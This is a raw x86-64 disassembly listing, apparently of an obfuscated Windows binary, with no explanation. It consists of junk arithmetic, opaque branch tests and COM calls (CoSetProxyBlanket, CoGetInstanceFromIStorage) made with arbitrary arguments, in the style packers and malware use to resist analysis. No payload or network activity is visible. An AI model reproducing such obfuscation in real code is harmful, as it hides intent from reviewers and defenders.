mov dword [rbp + 0x159ac], eax
jmp 0x140006b4a
nop
mov dword [rbp + 0x16410], 0x5c0b
jmp 0x140006b57
nop
mov dword [rbp + 0x1636c], 0xa5b5
mov eax, dword [section..data]
cmp eax, 0x61e9c4e
je 0x140006b7a
cmp eax, 0x5dd6ddab
je 0x140006bf1
jmp 0x140006cab
movzx eax, byte [rbp + 0x51f]
or eax, 0xffffffb6
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x2ee]
cwde
cmp eax, 0x4f83
jne 0x140006bc9
movzx eax, byte [rbp + 0x51f]
cmp al, 5
je 0x140006beb
mov rcx, qword [rbp + 0x3798]
movzx eax, byte [rbp + 0x51f]
movzx edx, al
mov rax, qword [rbp + 0x4e8]
mov r8, rcx
mov rcx, rax
call fcn.1400e34fb
jmp 0x140006beb
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
jmp 0x140006bec
nop
jmp 0x140006cab
lea rdx, [rbp + 0x16d8]
lea rax, [rbp + 0x32e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoUnmarshalHresult]
call rax
mov dword [rbp + 0x1599c], eax
movzx edx, word [rbp + 0x27c]
movzx eax, word [rbp + 0x232e]
xor edx, eax
movzx eax, word [rbp + 0x4328]
cmp ax, dx
jb 0x140006c78
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x78f9e7cca4e3d61f
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov eax, dword [section..data]
sub eax, 0x122968bb
mov dword [rbp + 0x3d50], eax
jmp 0x140006caa
movabs rax, 0x9ffd6ee2c695f406
and rax, qword [rbp + 0x162e8]
mov rdx, qword [rbp + 0x3798]
cmp rdx, rax
jb 0x140006caa
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x30de8cc8
mov dword [rax], edx
nop
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x47d85107b02d0a90
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov eax, dword [rbp + 0x3d50]
sar eax, 4
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xf49734fe9a8f60f
xor rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x3798]
movabs rdx, 0xa3cf1a367b5868ad
or rax, rdx
mov qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, 0x2c65797
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov eax, dword [section..data]
sub eax, 0xdd5d683
mov dword [rbp + 0x3d50], eax
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x27c]
add eax, edx
mov word [rbp + 0x4328], ax
add dword [rbp + 0x163cc], 0xed
mov eax, dword [rbp + 0x3d50]
sub eax, 0x2f05bece
mov dword [section..data], eax
mov eax, dword [section..data]
sub eax, 0x56f7149b
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x20985f89e54c4904
and rax, rdx
mov qword [rbp + 0x4e8], rax
movabs rdx, 0xf080ff736d15e48b
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x23aa380a9816c926
or rax, rdx
mov qword [rbp + 0x4e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x10
mov qword [rax], rdx
movzx edx, word [rbp + 0x27c]
movzx eax, word [rbp + 0x232e]
xor eax, edx
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 3
mov word [rbp + 0x302], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xf5d991da8e7c5bbb
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x3d50]
and eax, 0x4b655e3a
mov dword [section..data], eax
cmp dword [rbp + 0x163cc], 0xb311
jne 0x140006cab
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
imul eax, edx
mov dword [rbp + 0x644], eax
jmp 0x140007095
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x6093023b
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x6f352428e5cf9746
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0xceb1762
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xa801b4df9667748e
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x3d842209e00bd8c5
and rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x7fe856b799022f5
xor rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x3798]
shr rax, 0x39
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
add dword [rbp + 0x16314], 6
movzx eax, word [rbp + 0x302]
sub ax, 0x3e44
mov word [rbp + 0x2ee], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x32
mov byte [rbp + 0x51f], al
cmp dword [rbp + 0x16314], 0x324e
jbe 0x140006f34
mov rdx, qword [rbp + 0x4e8]
movabs rax, 0x67e876299997ab5
cmp rdx, rax
jne 0x1400e23a7
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
lea edx, [rax - 0x257318ef]
mov eax, dword [rbp + 0x35b4]
cmp edx, eax
jb 0x140007589
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
xor eax, 0x5fb5351d
mov edx, eax
mov eax, dword [rbp + 0x35b4]
cmp edx, eax
jb 0x140007193
lea rax, [rbp + 0x10c0]
mov rdx, rax
lea rax, str.Wainscot
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_IIDFromString]
call rax
mov dword [rbp + 0x1598c], eax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
or eax, 0x6f
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
and eax, 0x74a0428c
mov edx, dword [rbp + 0x35b4]
cmp edx, eax
jae 0x1400e233b
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0xffffffea
mov edx, 0xffffffa9
mov ecx, eax
call fcn.1400e3877
jmp 0x1400e233b
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
mov ecx, eax
shl edx, cl
mov eax, dword [section..data]
cmp edx, eax
jle 0x1400e233b
lea r8, [rbp + 0x4448]
lea rdx, [rbp + 0x720]
lea rax, [rbp + 0x2ee]
lea rcx, [rbp + 0xcb0]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x1d
lea rcx, [rbp + 0x232e]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
call rax
mov dword [rbp + 0x159ac], eax
jmp 0x1400e233b
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x4ca5c4a7
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x4f75f403322bc175
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x5abca91d69a9c485
and rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xa399808bed2bf2b6
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xe9e424cc5899e928
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x3798]
movabs rdx, 0xb1d1d651021be456
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
sub edx, eax
mov dword [rbp + 0x644], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
xor rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, word [rbp + 0x2ee]
or ax, 0xad4
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
shl eax, 7
mov byte [rbp + 0x51f], al
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, 0x6112caae
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xc6736838dca5bc70
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x5705c925
mov dword [rax], edx
mov rax, qword [rbp + 0x3798]
movabs rdx, 0xe2b7f74093a48526
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
add eax, edx
mov dword [rbp + 0x644], eax
movzx eax, word [rbp + 0x302]
and ax, 0x74e0
mov word [rbp + 0x2ee], ax
movzx eax, byte [rbp + 0x51f]
mov byte [rbp + 0x51f], al
movzx eax, byte [rbp + 0x51f]
add eax, 0x78
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x6e39e97eca46eee0
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
add eax, edx
mov dword [section..data], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
shr edx, 0xb
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [section..data]
mov eax, dword [rbp + 0x644]
or eax, edx
mov dword [rbp + 0x3d50], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x89db102a3e6f802
xor rdx, rcx
mov qword [rax], rdx
sub dword [rbp + 0x1633c], 0xb2
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0xc3bf5e9
mov dword [rax], edx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x27c], ax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movabs rdx, 0xc7a3badf5ee3f6c3
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov edx, dword [rbp + 0x644]
mov eax, dword [section..data]
and eax, edx
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xc332c3350eb16f0f
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x4316e33f
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x17
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x2c
mov qword [rax], rdx
cmp dword [rbp + 0x1633c], 0x8bc1
ja 0x140007203
jmp 0x140007979
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, 0x38158539
mov dword [rax], edx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x3d50]
xor eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov edx, dword [rbp + 0x644]
mov eax, dword [section..data]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x73f5c2c6
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x7a3daa5c9f5f3f61
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x7bd7d4552524e2a9
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
sub edx, eax
mov dword [rbp + 0x644], edx
movzx eax, word [rbp + 0x302]
and ax, 0x562a
mov word [rbp + 0x2ee], ax
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x3d50]
sub edx, eax
mov dword [section..data], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x2506ed45d148e362
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
shl rax, 4
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
xor eax, 0xd01e3b0f
mov dword [rbp + 0x35b4], eax
mov edx, dword [rbp + 0x3d50]
mov eax, dword [section..data]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x644], eax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x33
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x71
mov byte [rbp + 0x51f], al
movzx edx, word [rbp + 0x27c]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x232e], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x3da9d981
mov dword [rax], edx
mov rax, qword [rbp + 0x3798]
movabs rdx, 0x537e6478e25c7bd0
add rax, rdx
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
and eax, 0xfffffffb
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
xor eax, edx
mov word [rbp + 0x27c], ax
movzx eax, word [rbp + 0x2ee]
or ax, 0x5db0
mov word [rbp + 0x302], ax
movzx eax, word [rbp + 0x2ee]
shl eax, 6
mov word [rbp + 0x302], ax
add dword [rbp + 0x163ec], 0xa9
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov edx, dword [section..data]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xca1a0d118f312165
add rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x644]
mov eax, dword [section..data]
add eax, edx
mov dword [rbp + 0x3d50], eax
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x4328]
sub eax, edx
mov word [rbp + 0x27c], ax
movzx eax, word [rbp + 0x302]
add ax, 0x66a2
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x302]
add ax, 0x6f79
mov word [rbp + 0x2ee], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x4afa542c
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x29b0f514
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x162e8]
shl rax, 0x3f
mov qword [rbp + 0x3798], rax
cmp dword [rbp + 0x163ec], 0xde24
jbe 0x14000759e
lea rax, [rbp + 0x4e8]
mov qword [rbp + 0x15990], rax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x129c], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
movabs rax, 0xca1a0d118f312165
cmp rdx, rax
jne 0x140007a65
movzx eax, word [rbp + 0x302]
cwde
mov edx, 0x5cdd
mov ecx, edx
sar eax, cl
mov edx, eax
movzx eax, word [rbp + 0x2ee]
cwde
cmp edx, eax
jle 0x140007ae1
movzx eax, byte [rbp + 0x51f]
or eax, 0xffffffa7
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2de8]
lea rcx, [rbp + 0x51f]
lea rax, [rbp + 0x35b4]
mov dword [rsp + 0x38], 0xc6
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x76
mov dword [rsp + 0x20], 0x8b
mov r9, rcx
mov r8d, 0x30
mov edx, 0x95
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoSetProxyBlanket]
call rax
mov dword [rbp + 0x159a8], eax
jmp 0x140007ae1
movzx eax, word [rbp + 0x4328]
movzx edx, word [rbp + 0x232e]
sub eax, edx
mov word [rbp + 0x27c], ax
movabs rax, 0xb6fbf60786bd7f4
cmp qword [rbp + 0x162e8], rax
je 0x140007aa4
movabs rax, 0x9ea1c32a55627643
cmp qword [rbp + 0x162e8], rax
je 0x140007abb
jmp 0x140007ae2
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x6db7c143
mov dword [rax], edx
jmp 0x140007adf
movzx eax, byte [rbp + 0x51f]
movzx edx, al
mov rax, qword [rbp + 0x4e8]
mov rcx, qword [rbp + 0x162e8]
mov r8, rcx
mov rcx, rax
call fcn.1400e34fb
nop
jmp 0x140007ae2
nop
mov rax, qword [rbp + 0x4e8]
mov qword [0x1400fd030], rax
mov rcx, qword [rbp + 0x4e8]
mov rdx, qword [0x1400fd030]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x17927067
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd030]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rdx, qword [0x1400fd030]
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x4e8], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x4328]
add eax, edx
mov word [rbp + 0x27c], ax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
shl eax, 6
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
xor ax, 0x2312
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [0x1400fd030]
add rax, rdx
mov qword [rbp + 0x4e8], rax
movabs rdx, 0xd5306243e53d47c1
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x3798], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x1211f38
mov dword [rbp + 0x35b4], eax
movzx eax, word [rbp + 0x302]
and ax, 0x54c0
mov word [rbp + 0x2ee], ax
movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x27c]
add eax, edx
mov word [rbp + 0x232e], ax
sub dword [rbp + 0x16438], 0x89
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
movzx eax, word [rbp + 0x27c]
movzx edx, word [rbp + 0x4328]
sub eax, edx
mov word [rbp + 0x232e], ax
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x3d50]
sub edx, eax
mov dword [rbp + 0x644], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd030]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
shl edx, 0x17
mov dword [rax], edx
mov rax, qword [rbp + 0x3798]
shr rax, 0x11
mov qword [rbp + 0x162e8], rax
movzx edx, word [rbp + 0x232e]
movzx eax, word [rbp + 0x27c]
xor eax, edx
mov word [rbp + 0x4328], ax
movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x27c]
and eax, edx
mov word [rbp + 0x232e], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x26
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x302]
sub ax, 0x4510
mov word [rbp + 0x2ee], ax
cmp dword [rbp + 0x16438], 0xa7b0
ja 0x140007af0
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x3798]
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x4e8]
mov qword [rbp + 0xa00], rax
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
cmp qword [rbp + 0x162e8], rax
jae 0x140007e3c
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x1fd8]
add rax, rdx
cmp qword [rbp + 0x162e8], rax
je 0x140007e3c
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
imul eax, edx
mov dword [rbp + 0x3d50], eax
movzx eax, word [rbp + 0x232e]
mov word [rbp + 0x2fd4], ax
movzx eax, word [rbp + 0x302]
mov word [rbp + 0x421e], ax
mov dword [rbp + 0x16358], 0xc37
lea rax, [rbp + 0xa00]
mov qword [0x1400fd038], rax
movzx eax, byte [rbp + 0x51f]
and eax, 0xffffff88
mov byte [rbp + 0x51f], al
movzx edx, word [rbp + 0x4328]
movzx eax, word [rbp + 0x27c]
add eax, edx
mov word [rbp + 0x2fd4], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
xor eax, edx
mov dword [rbp + 0x644], eax
mov rax, qword [rbp + 0x3798]
mov edx, eax
mov rax, qword [rbp + 0x162e8]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
or rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov ecx, edx
sar rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x3d50]
and eax, edx
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x302], ax
